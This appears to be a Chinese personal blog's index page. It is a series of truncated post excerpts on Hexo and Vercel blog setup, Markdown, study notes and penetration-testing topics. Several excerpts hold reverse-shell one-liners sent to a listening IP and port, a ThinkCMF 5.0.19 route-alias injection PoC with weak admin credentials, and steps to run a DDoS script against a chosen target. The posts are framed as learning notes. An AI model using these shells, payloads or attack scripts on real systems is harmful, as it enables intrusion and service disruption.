反弹shell命令(命令在Mac里执行,反弹到kali机)sudo su 后连接必反弹 搭了个技术博客,点我传送 Mac端监听命令没有nc -lvp port 只有 nc -lv (或-lvv) port Mac➡️kali : sudo su zsh -i > /dev/tcp/监听ip/监听端口 (ls,pwd,whoami,cd /tmp,) kali机:监听端口并且实时回显信息 nc -lvnp 监听端口 单方通信nc Mac: nc -lv 7777 kali: nc -v 10.211.55.2(Mac:ip) 7777 实操nc Mac:...

Markdown 语法： 使用 GitHub Flavored Markdown 语法，简称 GFM 语法。 支持表格、TOC、LaTeX、代码块、任务列表、脚注等。 画图库支持 mermaid, viz, ECharts, PlantUML, Sequence, Flow。 Markdown 辅助： 支持截图并粘贴、复制并粘贴、拖拽等方式插入图片并直接显示在编辑器内。 在兼容 Markdown 语法的情况下支持设置图片宽度。 好用的表格插入和 LaTeX 书写辅助。 Markdown 输出： 支持导出为图片、HTML、Epub、PDF、RTF、Docx。 ...

这是一个关于我的故事 1.、如果你也喜欢搭建个人博客可看我写的[这篇]文章 2、搭了个技术博客,点我传送 这一切都要从21年10月第一次接触网络端口扫描工具nmap说起: 那天想看家里人用了哪些端口,Mac命令行brew安装了一个端口扫描工具“nmap”,从此,遨游网络的故事就开始了 先后安装了Nessus,AWVS,Burp Suite…… 于是一发不可收拾,感受到的就是惊喜和惊讶😺, 互联网的安全世界如此奇妙 于是接着步入了web的世界 接踵而至的是metasploit，SQLmap，AWVS,，Nmap,蚁剑，冰蝎，CS,fscan，nmap，Nessus，g...

切换到anaconda的大环境使用python 把wjl更换为你的用户名即可 . /Users/wjl/opt/anaconda3/bin/activate && conda activate /Users/wjl/opt/anaconda3; 切换pip 2.7环境,安装python2依赖 /opt/local/Library/Frameworks/Python.framework/Versions/2.7/bin/pip install 模块名 vps端口映射(适用于反弹shell端口)的使用 百度下载natapp cd 到下载到...

HEXO+GitHub个人博客实战指南 先看看成果吧⬇️ 网站效果传送带https://wjl110.xyz 测试命令 本地测试: cd Desktop/xxx.com hexo cl & hexo g & hexo -p(端口) 54321 server 发布github: hexo cl & hexo g & hexo d 正文开始 点击下方官方文档查看hexo的安装 hexo官方文档 点击下方官方主题进行选择 选择主题点这里 选择自己的主题:我选择的是极光主题 生成的文件主题和配置 config配置...

ddos(分布式拒绝服务攻击)分为两种直接攻击/反弹攻击(间接攻击) ddos的实现原理是基于tcp/ip的三次握手实现的 攻击者将发送ip设置为虚假ip,受访者在进行第二次握手时,不能判断ip真伪,向源地址发送响应包,并且等待第三次握手,随时间响应丢失,却占用cpu和内存 直接攻击(控制肉鸡发送大量虚假请求) 就是通过大量的这种虚假连接，消耗主机资源，造成主机资源枯竭，从而导致正常的用户不能进行正常访问。 反弹攻击(反弹shell??)(模拟正常用户访问) 是将包含假受害者的ip数据包发送到一些反射体上，反射体收到数据包后将响应数据包直接发送到受害者，大量响应数据包将占用受害者...

wjl110.xyz 可以体验一下 正文开始: https://vercel.com 进入注册登录即可 新建项目 导入你需要配置的项目: 项目导入后 第一栏填项目的名字:xxx 第二栏填构建项目的框架 ps:如果是静态hexo就选other 第四栏选择网站执行目录 hexo默认为/public 我的为/ 点击部署即可 即生成如下页面 进入画面开始部署你的项目 可以看到项目部署成功: 自定义这里设置: 按照如下配置就可以 如果在设置中遇到了什么问题可以直接留言给我,或者查看官方文档 官方文档

文章目录 前言 为何给靶机发送这条执行命令就会自动连接到本地计算机,并且出发实时通讯机制(ps:有点类似oicq,前生就是用的这种模式开发的即时通讯) 作为渗透测试人员必备技能,反弹shell到底是什么原理,以及如何使用,本文是自己学习shell命令时的个人感悟和笔记,文章内容大量引入了较为官方的语言,给入门渗透学习的人员提供一个参考1 更容易阅读的版本在这里,点击传送 常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1 何为shell Shell 脚本（shell scri...

前言 ThinkCMF是一款支持Swoole的开源内容管理框架(CMF),基于ThinkPHP开发. thinkcmf5.0.19 这个版本后台提供路由自定义，其中路由的别名对单引号缺少过滤，导致引发漏洞。 文章也会在这里同步 0x01进入后台 进入后台路径为:http://ip:port/admin 0x02我们这里使用弱口令登录 账户密码：admin:123456 0x03进入添加分类页面 依次进入 1、门户管理 2、分类管理 3、添加分类 分类名称随便填 分类别名输入poc: 1'=>array(""),phpinfo...

二进制逆向： 将获得的代码解包，用二进制软件打开 ### 发现是用python代码写的程序，用解包程序反编译 ### 用vscode自带的hex进行逆向解码 ### 解开就得到了.pyc文件### 将反编译的.py文件里的代码逆向还原为flag即可获取到flag 写作耗时20分钟

本人于mooc网学习笔记整理，转载需标明出处* 若有错误，欢迎指正 关于用 《教学研究》的简单例子来讲述数据处理 即 ：研究学生的相关数据对学生成绩的影响 课程大纲： 第一章-概论 1.三种处理方法* 2.课程学习目的 3.提升的能力有哪些？ 4.选择适合自己的高效学习方式进行学习 第二章-数据来源 1.学生数据* 2.教师数据 第三章-数据分析 tips：数据分析流程* 学生成绩分析： 实验组 vs 对照组 实验前 成绩比较： 试验中： 实验后： 成绩比较和p值差异分析 结论： 研究方法： 以数据分析来支撑研究结论。 过...

ddos攻击笔记 版本:Mac book Air M1芯片 文章仅做学习技术交流,不得用于非法活动 点击我查看攻击小视频效果展示(时长:19秒) shot on iphone cd DDOS-Attack chmod +x ddos-attack.py python ddos-attack.py ip:填攻击IP地址(不能写http的形式) port:填攻击端口 shot on iphone: 代码和人有一个能跑就刑,一键ddos攻击源码,体验命令行飞速刷屏的感觉(我看刑) kali语法 版本:parallels虚拟机k...

这里写自定义目录标题 欢迎使用Markdown编辑器 新的改变 功能快捷键 合理的创建标题，有助于目录的生成 如何改变文本的样式 插入链接与图片 如何插入一段漂亮的代码片 生成一个适合你的列表 创建一个表格 设定内容居中、居左、居右 SmartyPants 创建一个自定义列表 如何创建一个注脚 注释也是必不可少的 KaTeX数学公式 新的甘特图功能，丰富你的文章 UML 图表 FLowchar...